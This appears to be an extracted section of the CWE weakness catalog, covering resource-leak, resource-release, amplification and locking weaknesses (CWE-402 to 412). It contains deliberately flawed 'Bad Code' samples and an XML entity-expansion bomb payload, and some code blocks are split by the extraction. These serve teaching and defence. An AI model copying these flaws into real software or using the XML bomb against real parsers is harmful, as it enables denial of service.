<i>CanFollow</i>		<i>390</i>	<i>Detection of Error Condition Without Action</i>	<i>1000</i>	<i>671</i>
<i>MemberOf</i>		<i>630</i>	<i>Weaknesses Examined by SAMATE</i>	<b>630</b>	<b>980</b>

### Relationship Notes

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

### Affected Resources

- Memory

### Functional Areas

- Memory management

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Memory leak
7 Pernicious Kingdoms			Memory Leak
CLASP			Failure to deallocate data
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT Java Secure Coding	MSC04-J		Do not leak memory
Software Fault Patterns	SFP14		Failure to release resource

### White Box Definitions

A weakness where the code path has:

1. start statement that allocates dynamically allocated memory resource
2. end statement that loses identity of the dynamically allocated memory resource creating situation where dynamically allocated memory resource is never relinquished

Where "loses" is defined through the following scenarios:

1. identity of the dynamic allocated memory resource never obtained
2. the statement assigns another value to the data element that stored the identity of the dynamically allocated memory resource and there are no aliases of that data element



3. identity of the dynamic allocated memory resource obtained but never passed on to function for memory resource release
4. the data element that stored the identity of the dynamically allocated resource has reached the end of its scope at the statement and there are no aliases of that data element

### References

J. Whittaker and H. Thompson. "How to Break Software Security". Addison Wesley. 2003.  
 [REF-36] iOS Developer Library. "Transitioning to ARC Release Notes". 2013-08-08. < <https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html> >.

## CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

Weakness ID: 402 (Weakness Class)

Status: Draft

### Description

#### Summary

The software makes resources available to untrusted parties when those resources are only intended to be accessed by the software.

### Alternate Terms

#### Resource Leak

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Confidentiality

Read application data

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		399	Resource Management Errors	699	686
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf		403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	699 1000	697
ParentOf		619	Dangling Database Cursor ('Cursor Injection')	699 1000	966

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource leaks

## CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

Weakness ID: 403 (Weakness Base)

Status: Draft

### Description

#### Summary

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

#### Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

### Alternate Terms

**File descriptor leak**

While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All






**Operating Systems**

- UNIX

**Common Consequences****Confidentiality****Integrity****Read application data****Modify application data****Observed Examples**

Reference	Description
CVE-2000-0094	Access to restricted resource using modified file descriptor for stderr.
CVE-2002-0638	Open file descriptor used as alternate channel in complex race condition.
CVE-2003-0489	Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability.
CVE-2003-0740	Server leaks a privileged file descriptor, allowing the server to be hijacked.
CVE-2003-0937	User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor.
CVE-2004-1033	File descriptor leak allows read of restricted files.
CVE-2004-2215	Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users.
CVE-2006-5397	Module opens a file for reading twice, allowing attackers to read files.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		402	Transmission of Private Resources into a New Sphere ('Resource Leak')	<b>699</b> <b>1000</b>	697
ChildOf		634	Weaknesses that Affect System Processes	<b>631</b>	982
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

**Affected Resources**

- System Process
- File/Directory

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		UNIX file descriptor leak
CERT C Secure Coding	FIO42-C	Ensure files are properly closed when they are no longer needed
CERT C++ Secure Coding	FIO42-CPP	Ensure files are properly closed when they are no longer needed
Software Fault Patterns	SFP23	Exposed Data

**References**

Paul Roberts. "File descriptors and setuid applications". 2007-02-05. < [https://blogs.oracle.com/paulr/entry/file\\_descriptors\\_and\\_setuid\\_applications](https://blogs.oracle.com/paulr/entry/file_descriptors_and_setuid_applications) >.

Apple. "Introduction to Secure Coding Guide". Elevating Privileges Safely. < <https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/AccessControl.html> >.

## CWE-404: Improper Resource Shutdown or Release

Weakness ID: 404 (Weakness Base)

Status: Draft

### Description

#### Summary

The program does not release or incorrectly releases a resource before it is made available for re-use.

#### Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### Other

#### DoS: resource consumption (other)

#### Varies by context

Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.

#### Confidentiality

#### Read application data

When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.

### Likelihood of Exploit

Low to Medium

### Detection Methods

#### Automated Dynamic Analysis

#### Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

#### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them.

For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

### Demonstrative Examples

#### Example 1:

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

**Java Example:***Bad Code*

```
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

**Example 2:**

This code attempts to open a connection to a database and catches any exceptions that may occur.

**Java Example:***Bad Code*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

**Example 3:**

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

**C# Example:***Bad Code*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

**Example 4:**

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

**C Example:***Bad Code*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
        }
    }
}
```

```

    }
    else {
        decodeBlock(buf);
    }
}
}
fclose(f);
return DECODE_SUCCESS;
}

```

**Example 5:**

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

**C++ Example:***Bad Code*

```

class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}

```

**Example 6:**

In this example, the program calls the delete[] function on non-heap memory.

**C++ Example:***Bad Code*

```

class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}

```

**Observed Examples**

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent.
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.
CVE-2002-1372	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.

**Potential Mitigations****Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

**Implementation**

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

**Implementation**

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

**Implementation**

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

**Relationships**

Nature	Type	ID	Name	Fit	Page
ChildOf		398	Indicator of Poor Code Quality	699	684
ChildOf		399	Resource Management Errors	<b>700</b>	686
PeerOf		405	Asymmetric Resource Consumption (Amplification)	1000	703
ChildOf		664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	<b>711</b>	1120
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		752	2009 Top 25 - Risky Resource Management	<b>750</b>	1143
ChildOf		857	CERT Java Secure Coding Section 12 - Input Output (FIO)	<b>844</b>	1296
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf		882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	1318
ChildOf		982	SFP Secondary Cluster: Failure to Release Resource	<b>888</b>	1385
PeerOf		239	<i>Failure to Handle Incomplete Element</i>	1000	429
ParentOf		262	<i>Not Using Password Aging</i>	1000	466
ParentOf		263	<i>Password Aging with Long Expiration</i>	1000	467
ParentOf		299	<i>Improper Check for Certificate Revocation</i>	1000	528
ParentOf		459	<i>Incomplete Cleanup</i>	<b>1000</b>	775
ParentOf		619	<i>Dangling Database Cursor ('Cursor Injection')</i>	<b>699</b>	966
ParentOf		763	<i>Release of Invalid Pointer or Reference</i>	<b>1000</b>	1164
ParentOf		772	<i>Missing Release of Resource after Effective Lifetime</i>	<b>1000</b>	1183

**Relationship Notes**

Overlaps memory leaks, asymmetric resource consumption, malformed input errors.

**Functional Areas**

- Non-specific

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper resource shutdown or release
7 Pernicious Kingdoms			Unreleased Resource
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FIO42-C		Ensure files are properly closed when they are no longer needed
CERT Java Secure Coding	FIO04-J		Release resources when they are no longer needed
CERT C++ Secure Coding	MEM39-CPP		Resources allocated by memory allocation functions must be released using the

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
			corresponding memory deallocation function
CERT C++ Secure Coding	FIO42-CPP		Ensure files are properly closed when they are no longer needed
CERT C++ Secure Coding	CON02-CPP		Use lock classes for mutex management
Software Fault Patterns	SFP14		Failure to release resource

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
119	Deplete Resources	
125	Flooding	
130	Excessive Allocation	
131	Resource Leak Exposure	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

## CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID: 405 (Weakness Class)

Status: Incomplete

### Description

#### Summary

Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.

#### Extended Description

This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

### Time of Introduction

- Operation
- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### DoS: amplification

#### DoS: resource consumption (other)

Sometimes this is a factor in "flood" attacks, but other types of amplification exist.

### Potential Mitigations

#### Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

#### Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		399	Resource Management Errors	699	686
ChildOf		664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1120



Nature	Type	ID	Name	V	Page
ChildOf	C	855	CERT Java Secure Coding Section 10 - Thread Pools (TPS)	844	1295
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	977	SFP Secondary Cluster: Design	888	1382
PeerOf	B	404	<i>Improper Resource Shutdown or Release</i>	1000	699
ParentOf	B	406	<i>Insufficient Control of Network Message Volume (Network Amplification)</i>	699 1000	704
ParentOf	B	407	<i>Algorithmic Complexity</i>	699 1000	706
ParentOf	B	408	<i>Incorrect Behavior Order: Early Amplification</i>	699 1000	707
ParentOf	B	409	<i>Improper Handling of Highly Compressed Data (Data Amplification)</i>	699 1000	708

**Functional Areas**

- Non-specific

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Asymmetric resource consumption (amplification)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
WASC	41		XML Attribute Blowup
CERT Java Secure Coding	TPS00-J		Use thread pools to enable graceful degradation of service during traffic bursts
CERT Java Secure Coding	FIO04-J		Release resources when they are no longer needed

## CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID: 406 (Weakness Base)

Status: Incomplete

**Description****Summary**

The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.

**Extended Description**

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

**Time of Introduction**

- Operation
- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences**

**Availability****DoS: amplification****DoS: crash / exit / restart****DoS: resource consumption (CPU)****DoS: resource consumption (memory)****DoS: resource consumption (other)**

System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.

**Enabling Factors for Exploitation**

If the application uses UDP, then it could potentially be subject to spoofing attacks that use the inherent weaknesses of UDP to perform traffic amplification, although this problem can exist in other protocols or contexts.

**Demonstrative Examples**

This code listens on a port for DNS requests and sends the result to the requesting address.

**Python Example:***Bad Code*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

**Observed Examples**

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.
CVE-1999-1066	Game server sends a large amount.
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.
CVE-2000-0041	Large datagrams are sent in response to malformed datagrams.
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.

**Potential Mitigations****Architecture and Design****Separation of Privilege**

An application must make network resources available to a client commensurate with the client's access level.


**Policy**

Define a clear policy for network resource allocation and consumption.

**Implementation**

An application must, at all times, keep track of network resources and meter their usage appropriately.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	<b>699</b>	703
ChildOf		977	SFP Secondary Cluster: Design	<b>888</b>	1382
MemberOf		884	CWE Cross-section	<b>884</b>	1319
CanFollow		941	Incorrectly Specified Destination in a Communication Channel	1000	1366

### Relationship Notes

This can be resultant from weaknesses that simplify spoofing attacks.

### Theoretical Notes

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Network Amplification

## CWE-407: Algorithmic Complexity

**Weakness ID:** 407 (*Weakness Base*) **Status:** Incomplete

### Description

#### Summary

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Availability

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: resource consumption (other)**

The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.

### Likelihood of Exploit

Low to Medium

### Observed Examples

Reference	Description
CVE-2001-1501	CPU and memory consumption using many wildcards.
CVE-2002-1203	Product performs unnecessary processing before dropping an invalid packet.
CVE-2003-0244	CPU consumption via inputs that cause many hash table collisions.
CVE-2003-0364	CPU consumption via inputs that cause many hash table collisions.
CVE-2004-2527	Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization.
CVE-2005-1792	Memory leak by performing actions faster than the software can clear them.
CVE-2005-2506	OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates.
CVE-2006-3379	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.
CVE-2006-3380	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.
CVE-2006-6931	Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack."

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	➡	405	Asymmetric Resource Consumption (Amplification)	✓	699 703

Nature	Type	ID	Name	V	Page
					<b>1000</b>
ChildOf	<b>C</b>	977	SFP Secondary Cluster: Design	<b>888</b>	1382
MemberOf	<b>V</b>	884	CWE Cross-section	<b>884</b>	1319

### Functional Areas

- Cryptography

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Algorithmic Complexity

### References

Crosby and Wallach. "Algorithmic Complexity Attacks". < [http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach\\_UsenixSec2003/index.html](http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003/index.html) >.

## CWE-408: Incorrect Behavior Order: Early Amplification

Weakness ID: 408 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### DoS: amplification

#### DoS: crash / exit / restart

#### DoS: resource consumption (CPU)

#### DoS: resource consumption (memory)

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.

### Demonstrative Examples

This data prints the contents of a specified file requested by a user.

#### PHP Example:

*Bad Code*






```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
    return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

### Observed Examples

Reference	Description
CVE-2004-2458	Tool creates directories before authenticating user.

## Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	699	703
ChildOf		696	Incorrect Behavior Order	1000	1077
ChildOf		840	Business Logic Errors	699	1283
ChildOf		977	SFP Secondary Cluster: Design	888	1382
MemberOf		884	CWE Cross-section	884	1319

## Relationship Notes

Overlaps authentication errors.

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Early Amplification

## CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

Weakness ID: 409 (Weakness Base)

Status: Incomplete

## Description

## Summary

The software does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

## Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

## Languages

- All

## Common Consequences

## Availability

## DoS: amplification

## DoS: crash / exit / restart

## DoS: resource consumption (CPU)

## DoS: resource consumption (memory)

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.

## Demonstrative Examples

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is  $2^0$ . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or  $2^1$ . Ultimately, we reach entity THIRTYTWO, which will expand to  $2^{32}$  characters in length, or 4 GB, probably consuming far more data than expected.

## XML Example:

Attack

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
```

```
>
<data>&THIRTYTWO;</data>
```

### Observed Examples

Reference	Description
CVE-2003-1564	Parsing library allows XML bomb
CVE-2009-1955	XML bomb in web server module

### Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	699 1000	703
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1291
ChildOf		977	SFP Secondary Cluster: Design	888	1382
ParentOf		776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	699 1000	1190
MemberOf		884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Data Amplification
CERT Java Secure Coding	IDS04-J	Limit the size of files passed to ZipInputStream

## CWE-410: Insufficient Resource Pool

Weakness ID: 410 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

#### Extended Description

Frequently the consequence is a "flood" of connection or sessions.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### Integrity

#### Other

#### DoS: crash / exit / restart

#### Other

Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of \*other\* vulnerabilities, not an insufficient resource pool.

### Demonstrative Examples

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

#### XML Example:

Bad Code

```
<Resource name="jdbc/exampledb"
auth="Container"
```

```

type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>

```

### Observed Examples

Reference	Description
CVE-1999-1363	Large number of locks on file exhausts the pool and causes crash.
CVE-2001-1340	Product supports only one connection and does not disconnect a user who does not provide credentials.
CVE-2002-0406	Large number of connections without providing credentials allows connection exhaustion.

### Potential Mitigations

#### Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

#### Architecture and Design

Consider implementing a velocity check mechanism which would detect abusive behavior.

#### Operation

Consider load balancing as an option to handle heavy loads.

#### Implementation

Make sure that resource handles are properly closed when no longer needed.

#### Architecture and Design

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	399	Resource Management Errors	699	686
CanPrecede	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	699 1000	688
ChildOf	G	664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1120
ChildOf	C	855	CERT Java Secure Coding Section 10 - Thread Pools (TPS)	844	1295
ChildOf	C	977	SFP Secondary Cluster: Design	888	1382
CanAlsoBe	B	412	<i>Unrestricted Externally Accessible Lock</i>	1000	711

### Functional Areas

- Non-specific

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Resource Pool
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT Java Secure Coding	TPS00-J		Use thread pools to enable graceful degradation of service during traffic bursts

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 17, "Protecting Against Denial of Service Attacks" Page 517. 2nd Edition. Microsoft. 2002.

## CWE-411: Resource Locking Problems

Category ID: 411 (Category)

Status: Draft

### Description

#### Summary



Weaknesses in this category are related to improper handling of locks that are used to control access to resources.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	399	Resource Management Errors	699	686
ParentOf	B	412	Unrestricted Externally Accessible Lock	699	711
ParentOf	B	413	Improper Resource Locking	699	713
ParentOf	B	414	Missing Lock Check	699	716

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource Locking problems

## CWE-412: Unrestricted Externally Accessible Lock

Weakness ID: 412 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

#### Extended Description

This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### DoS: resource consumption (other)

When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.

### Detection Methods

#### White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

### Demonstrative Examples

This code tries to obtain a lock for a file, then writes to it.

#### PHP Example:

Bad Code

```
function writeToLog($message){
    $logfile = fopen("logfile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logfile.log, message not recorded\n";
    }
}
```

```

}
}
fclose($logFile);

```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

### Observed Examples

Reference	Description
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness.
CVE-2001-0682	Program can not execute when attacker obtains a mutex.
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file.

### Potential Mitigations

#### Architecture and Design

##### Implementation

Use any access control that is offered by the functionality that is offering the lock.

#### Architecture and Design

##### Implementation

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

#### Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>C</b>	361	Time and State	<b>699</b> <b>700</b>	626
CanAlsoBe	<b>B</b>	410	Insufficient Resource Pool	1000	709
ChildOf	<b>C</b>	411	Resource Locking Problems	699	710
ChildOf	<b>B</b>	667	Improper Locking	<b>1000</b>	1032
